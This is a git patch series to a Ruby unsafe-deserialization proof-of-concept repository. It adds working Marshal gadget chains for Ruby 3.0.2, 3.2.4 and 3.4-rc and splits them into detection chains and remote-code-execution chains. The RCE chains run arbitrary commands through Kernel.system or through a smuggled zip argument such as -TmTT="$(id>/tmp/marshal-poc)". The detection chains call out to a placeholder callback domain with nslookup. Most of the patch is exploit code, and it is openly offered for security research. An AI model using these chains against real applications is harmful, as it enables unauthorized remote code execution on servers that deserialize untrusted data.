From de554be39c0a0f704540a0d673e00eb9a1163ce1 Mon Sep 17 00:00:00 2001 From: darkpills <> Date: Sun, 22 Dec 2024 10:18:45 +0100 Subject: [PATCH 1/4] Removing print, adding standard {CALLBACK_URL} and {ZIP_PARAM} placeholders, splitting rce and detection chains --- marshal/3.2.4/marshal-detection-ruby-3.2.4.rb | 57 +++++++++++++++ marshal/3.2.4/marshal-rce-ruby-3.2.4.rb | 20 ++---- .../3.4-rc/marshal-detection-ruby-3.4-rc.rb | 72 +++++++++++++++++++ marshal/3.4-rc/marshal-rce-ruby-3.4-rc.rb | 48 +------------ 4 files changed, 137 insertions(+), 60 deletions(-) create mode 100644 marshal/3.2.4/marshal-detection-ruby-3.2.4.rb create mode 100644 marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb diff --git a/marshal/3.2.4/marshal-detection-ruby-3.2.4.rb b/marshal/3.2.4/marshal-detection-ruby-3.2.4.rb new file mode 100644 index 0000000..142b272 --- /dev/null +++ b/marshal/3.2.4/marshal-detection-ruby-3.2.4.rb @@ -0,0 +1,57 @@ +# Disclaimer: +# This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, +# and is not intended to be used to attack systems except where explicitly authorized. +# Project maintainers are not responsible or liable for misuse of the software. Use responsibly. + +# This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html +# It was observed to work up to Ruby 3.2.4 + +Gem::SpecFetcher # Autoload + + +def call_url_and_create_folder(url) # provided url should not have a query (?) component + uri = URI::HTTP.allocate + uri.instance_variable_set("@path", "/") + uri.instance_variable_set("@scheme", "s3") + uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file + uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any" + uri.instance_variable_set("@user", "any") + uri.instance_variable_set("@password", "any") + + source = Gem::Source.allocate + source.instance_variable_set("@uri", uri) + source.instance_variable_set("@update_cache", true) + + index_spec = Gem::Resolver::IndexSpecification.allocate + index_spec.instance_variable_set("@name", "name") + index_spec.instance_variable_set("@source", source) + + request_set = Gem::RequestSet.allocate + request_set.instance_variable_set("@sorted_requests", [index_spec]) + + lockfile = Gem::RequestSet::Lockfile.allocate + lockfile.instance_variable_set("@set", request_set) + lockfile.instance_variable_set("@dependencies", []) + + return lockfile +end + +def to_s_wrapper(inner) + spec = Gem::Specification.new + spec.instance_variable_set("@new_platform", inner) + return spec +end + +def create_detection_gadget_chain(url) + call_url_gadget = call_url_and_create_folder(url) + + return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)]) +end + +url = "{CALLBACK_URL}" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. +detection_gadget_chain = create_detection_gadget_chain(url) + +#puts "Detection gadget chain using callback URL #{url}:" +puts detection_gadget_chain.unpack("H*") + +#Marshal.load(detection_gadget_chain) # caution: will trigger the detection gadget when uncommented. diff --git a/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb b/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb index d01e756..c0a6622 100644 --- a/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb +++ b/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb @@ -85,19 +85,11 @@ def create_rce_gadget_chain(rz_url_to_load, zip_param_to_execute) return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(create_folder_gadget), to_s_wrapper(exec_gadget)]) end -def create_detection_gadget_chain(url) - call_url_gadget = call_url_and_create_folder(url) +# replace with parameter that is provided to the zip executable and can contain a command passed to the -TT param (unzip command), for example: "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" +#For example: zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" +zip_param_to_execute = "{ZIP_PARAM}" +rce_gadget_chain = create_rce_gadget_chain("rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz", zip_param_to_execute) - return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)]) -end - -url = "" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. -detection_gadget_chain = create_detection_gadget_chain(url) - -#zip_param_to_execute = "" # replace with parameter that is provided to the zip executable and can contain a command passed to the -TT param (unzip command), for example: "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" -#rce_gadget_chain = create_rce_gadget_chain("rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz", zip_param_to_execute) - -puts "Detection gadget chain using callback URL #{url}:" -puts detection_gadget_chain.unpack("H*") +puts rce_gadget_chain.unpack("H*") -#Marshal.load(detection_gadget_chain) # caution: will trigger the detection gadget when uncommented. +#Marshal.load(rce_gadget_chain) # caution: will trigger the detection gadget when uncommented. diff --git a/marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb b/marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb new file mode 100644 index 0000000..04bf7c5 --- /dev/null +++ b/marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb @@ -0,0 +1,72 @@ +# Disclaimer: +# This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, +# and is not intended to be used to attack systems except where explicitly authorized. +# Project maintainers are not responsible or liable for misuse of the software. Use responsibly. + +# This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html +# It was observed to work up to Ruby 3.4-rc +# The majority of this chain was taken from https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/blob/main/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb + +# This module is required since the URI module is not defined anymore. +# The assumption is that any web framework (like sinatra or rails) will require such library +# Hence we can consider this gadget as "universal" +require 'net/http' + +Gem::SpecFetcher # Autoload + + +def call_url_and_create_folder(url) # provided url should not have a query (?) component + uri = URI::HTTP.allocate + uri.instance_variable_set("@path", "/") + uri.instance_variable_set("@scheme", "s3") + uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file + uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any" + uri.instance_variable_set("@user", "any") + uri.instance_variable_set("@password", "any") + + source = Gem::Source.allocate + source.instance_variable_set("@uri", uri) + source.instance_variable_set("@update_cache", true) + + index_spec = Gem::Resolver::IndexSpecification.allocate + index_spec.instance_variable_set("@name", "name") + index_spec.instance_variable_set("@source", source) + + request_set = Gem::RequestSet.allocate + request_set.instance_variable_set("@sorted_requests", [index_spec]) + + lockfile = Gem::RequestSet::Lockfile.new('','','') + lockfile.instance_variable_set("@set", request_set) + lockfile.instance_variable_set("@dependencies", []) + + return lockfile +end + +# This is the major change compared to the other gadget. +# Essentially the Gem::Specification is calling safe_load which blocks the execution of the chain. +# Since we need a gadget that calls to_s from (marshal)_load, i've opted for Gem::Version +# The only problem with this is the fact that it throws an error, hence two separate load are required. +def to_s_wrapper(inner) + spec = Gem::Version.allocate + spec.instance_variable_set("@version", inner) + # spec = Gem::Specification.new + # spec.instance_variable_set("@new_platform", inner) + return spec +end + +# detection / folder creation +def create_detection_gadget_chain(url) + call_url_gadget = call_url_and_create_folder(url) + + return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)]) +end + +url = "{CALLBACK_URL}" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. +detection_gadget_chain = create_detection_gadget_chain(url) + +# begin + # Marshal.load(detection_gadget_chain) + # rescue +# end + +puts detection_gadget_chain.unpack("H*") diff --git a/marshal/3.4-rc/marshal-rce-ruby-3.4-rc.rb b/marshal/3.4-rc/marshal-rce-ruby-3.4-rc.rb index 0611237..ee3a8e9 100644 --- a/marshal/3.4-rc/marshal-rce-ruby-3.4-rc.rb +++ b/marshal/3.4-rc/marshal-rce-ruby-3.4-rc.rb @@ -14,34 +14,6 @@ Gem::SpecFetcher # Autoload - -def call_url_and_create_folder(url) # provided url should not have a query (?) component - uri = URI::HTTP.allocate - uri.instance_variable_set("@path", "/") - uri.instance_variable_set("@scheme", "s3") - uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file - uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any" - uri.instance_variable_set("@user", "any") - uri.instance_variable_set("@password", "any") - - source = Gem::Source.allocate - source.instance_variable_set("@uri", uri) - source.instance_variable_set("@update_cache", true) - - index_spec = Gem::Resolver::IndexSpecification.allocate - index_spec.instance_variable_set("@name", "name") - index_spec.instance_variable_set("@source", source) - - request_set = Gem::RequestSet.allocate - request_set.instance_variable_set("@sorted_requests", [index_spec]) - - lockfile = Gem::RequestSet::Lockfile.new('','','') - lockfile.instance_variable_set("@set", request_set) - lockfile.instance_variable_set("@dependencies", []) - - return lockfile -end - def git_gadget(executable, second_param) git_source = Gem::Source::Git.allocate git_source.instance_variable_set("@git", executable) @@ -98,25 +70,9 @@ def create_rce_gadget_chain(zip_param_to_execute) return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(exec_gadget)]) end -# detection / folder creation -def create_detection_gadget_chain(url) - call_url_gadget = call_url_and_create_folder(url) - - return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)]) -end - -url = "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. -detection_gadget_chain = create_detection_gadget_chain(url) - -# begin - # Marshal.load(detection_gadget_chain) - # rescue -# end - -puts detection_gadget_chain.unpack("H*") - # You can comment from here if you want to simply detect the presence of the vulnerability. -zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" # replace with -TmTT=\"$(id>/tmp/marshal-poc)\"any.zip +#For example: zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" +zip_param_to_execute = "{ZIP_PARAM}" rce_gadget_chain = create_rce_gadget_chain(zip_param_to_execute) puts rce_gadget_chain.unpack("H*") From 48dc95439297143e726e8c3a0047e8cf5c65a901 Mon Sep 17 00:00:00 2001 From: darkpills <> Date: Sun, 22 Dec 2024 10:32:41 +0100 Subject: [PATCH 2/4] Adding chains for ruby <= 3.0.2 from vakzz --- marshal/3.0.2/marshal-detection-ruby-3.0.2.rb | 42 +++++++++++++++++++ marshal/3.0.2/marshal-rce-ruby-3.0.2.rb | 42 +++++++++++++++++++ 2 files changed, 84 insertions(+) create mode 100644 marshal/3.0.2/marshal-detection-ruby-3.0.2.rb create mode 100644 marshal/3.0.2/marshal-rce-ruby-3.0.2.rb diff --git a/marshal/3.0.2/marshal-detection-ruby-3.0.2.rb b/marshal/3.0.2/marshal-detection-ruby-3.0.2.rb new file mode 100644 index 0000000..39a7b76 --- /dev/null +++ b/marshal/3.0.2/marshal-detection-ruby-3.0.2.rb @@ -0,0 +1,42 @@ +# From: https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html + +# Autoload the required classes +Gem::SpecFetcher +Gem::Installer + +# prevent the payload from running when we Marshal.dump it +module Gem + class Requirement + def marshal_dump + [@requirements] + end + end +end + +wa1 = Net::WriteAdapter.new(Kernel, :system) + +rs = Gem::RequestSet.allocate +rs.instance_variable_set('@sets', wa1) +# Replace {CALLBACK_DOMAIN} with a out of band callback domain +rs.instance_variable_set('@git_set', "nslookup {CALLBACK_DOMAIN}") + +wa2 = Net::WriteAdapter.new(rs, :resolve) + +i = Gem::Package::TarReader::Entry.allocate +i.instance_variable_set('@read', 0) +i.instance_variable_set('@header', "aaa") + + +n = Net::BufferedIO.allocate +n.instance_variable_set('@io', i) +n.instance_variable_set('@debug_output', wa2) + +t = Gem::Package::TarReader.allocate +t.instance_variable_set('@io', n) + +r = Gem::Requirement.allocate +r.instance_variable_set('@requirements', t) + +payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) +puts payload.unpack("H*") +#puts Marshal.load(payload) \ No newline at end of file diff --git a/marshal/3.0.2/marshal-rce-ruby-3.0.2.rb b/marshal/3.0.2/marshal-rce-ruby-3.0.2.rb new file mode 100644 index 0000000..b56f43b --- /dev/null +++ b/marshal/3.0.2/marshal-rce-ruby-3.0.2.rb @@ -0,0 +1,42 @@ +# From: https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html + +# Autoload the required classes +Gem::SpecFetcher +Gem::Installer + +# prevent the payload from running when we Marshal.dump it +module Gem + class Requirement + def marshal_dump + [@requirements] + end + end +end + +wa1 = Net::WriteAdapter.new(Kernel, :system) + +rs = Gem::RequestSet.allocate +rs.instance_variable_set('@sets', wa1) +# Replace {COMMAND} with desired command like "id" +rs.instance_variable_set('@git_set', "{COMMAND}") + +wa2 = Net::WriteAdapter.new(rs, :resolve) + +i = Gem::Package::TarReader::Entry.allocate +i.instance_variable_set('@read', 0) +i.instance_variable_set('@header', "aaa") + + +n = Net::BufferedIO.allocate +n.instance_variable_set('@io', i) +n.instance_variable_set('@debug_output', wa2) + +t = Gem::Package::TarReader.allocate +t.instance_variable_set('@io', n) + +r = Gem::Requirement.allocate +r.instance_variable_set('@requirements', t) + +payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) +puts payload.unpack("H*") +#puts Marshal.load(payload) \ No newline at end of file From 8b10058bbb21cf6b7c282a8f75bbeee41ae7328f Mon Sep 17 00:00:00 2001 From: darkpills <> Date: Sun, 22 Dec 2024 10:33:22 +0100 Subject: [PATCH 3/4] Renaming {CALLBACK_URL} to {CALLBACK_DOMAIN} because it may people think it's a fully formed url --- README.md | 7 ++++--- marshal/3.2.4/marshal-detection-ruby-3.2.4.rb | 2 +- marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb | 2 +- ox/3.3/ox-detection-ruby-3.3.xml | 2 +- yaml/3.3/yaml-detection-ruby-3.3.yml | 2 +- 5 files changed, 8 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 535507e..5ba22d6 100644 --- a/README.md +++ b/README.md @@ -23,8 +23,9 @@ The Oj, Ox and Psych proof of concepts were observed to work up to the current R The subfolders for Oj, Ox and YAML contain gadget chains for the detection of an exploitable sink and remote code execution. -* The **detection gadget chain** calls an URL when flowing into a vulnerable sink. For this to work the placeholder `{CALLBACK_URL}` has to be replaced with an URL which should be called (preferably under the control of the tester). -* The **remote code execution (RCE) gadget chain** makes use of the `zip` command line util to run arbitrary commands (see [GTFObins](https://gtfobins.github.io/gtfobins/zip/)). Replace the placeholder `{ZIP_PARAM}` with a zip parameter that executes a command such as `-TmTT=\"$(id>/tmp/deser-poc)\"any.zip` (which will write the output of `id` to `/tmp/deser-poc`). - +* The **detection gadget chain** calls an URL when flowing into a vulnerable sink. For this to work the placeholder `{CALLBACK_DOMAIN}` has to be replaced with a domain which should be called (preferably under the control of the tester). +* The **remote code execution (RCE) gadget chain**: + * makes use of the `zip` command line util to run arbitrary commands (see [GTFObins](https://gtfobins.github.io/gtfobins/zip/)). Replace the placeholder `{ZIP_PARAM}` with a zip parameter that executes a command such as `-TmTT=\"$(id>/tmp/deser-poc)\"any.zip` (which will write the output of `id` to `/tmp/deser-poc`). + * for chain <= 3.0.2, replace the placeholder `{COMMAND}` with a system command like `id`. See the Ruby files in the respective subfolders for more information. diff --git a/marshal/3.2.4/marshal-detection-ruby-3.2.4.rb b/marshal/3.2.4/marshal-detection-ruby-3.2.4.rb index 142b272..78e2595 100644 --- a/marshal/3.2.4/marshal-detection-ruby-3.2.4.rb +++ b/marshal/3.2.4/marshal-detection-ruby-3.2.4.rb @@ -48,7 +48,7 @@ def create_detection_gadget_chain(url) return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)]) end -url = "{CALLBACK_URL}" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. +url = "{CALLBACK_DOMAIN}" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. detection_gadget_chain = create_detection_gadget_chain(url) #puts "Detection gadget chain using callback URL #{url}:" diff --git a/marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb b/marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb index 04bf7c5..414b878 100644 --- a/marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb +++ b/marshal/3.4-rc/marshal-detection-ruby-3.4-rc.rb @@ -61,7 +61,7 @@ def create_detection_gadget_chain(url) return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)]) end -url = "{CALLBACK_URL}" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. +url = "{CALLBACK_DOMAIN}" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component. detection_gadget_chain = create_detection_gadget_chain(url) # begin diff --git a/ox/3.3/ox-detection-ruby-3.3.xml b/ox/3.3/ox-detection-ruby-3.3.xml index 8157806..b5f7977 100644 --- a/ox/3.3/ox-detection-ruby-3.3.xml +++ b/ox/3.3/ox-detection-ruby-3.3.xml @@ -14,7 +14,7 @@ / s3 - {CALLBACK_URL}? + {CALLBACK_DOMAIN}? any any any diff --git a/yaml/3.3/yaml-detection-ruby-3.3.yml b/yaml/3.3/yaml-detection-ruby-3.3.yml index d7fd18e..4ae329f 100644 --- a/yaml/3.3/yaml-detection-ruby-3.3.yml +++ b/yaml/3.3/yaml-detection-ruby-3.3.yml @@ -11,7 +11,7 @@ uri: !ruby/object:URI::HTTP path: "/" scheme: s3 - host: {CALLBACK_URL}? + host: {CALLBACK_DOMAIN}? port: "any" user: any password: any From 39f4f5c6a850b6e11eba616f3c9c8fcff32d58e8 Mon Sep 17 00:00:00 2001 From: darkpills <> Date: Mon, 23 Dec 2024 08:50:01 +0100 Subject: [PATCH 4/4] Missing refactoring of {CALLBACK_DOMAIN} --- oj/3.3/oj-detection-ruby-3.3.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/oj/3.3/oj-detection-ruby-3.3.json b/oj/3.3/oj-detection-ruby-3.3.json index b1901d4..a2818f8 100644 --- a/oj/3.3/oj-detection-ruby-3.3.json +++ b/oj/3.3/oj-detection-ruby-3.3.json @@ -13,7 +13,7 @@ "^o": "Gem::Source", "uri": { "^o": "URI::HTTP", - "host": "{CALLBACK_URL}?", + "host": "{CALLBACK_DOMAIN}?", "port": "any", "scheme": "s3", "path": "/", "user": "any", "password": "any" }}}]},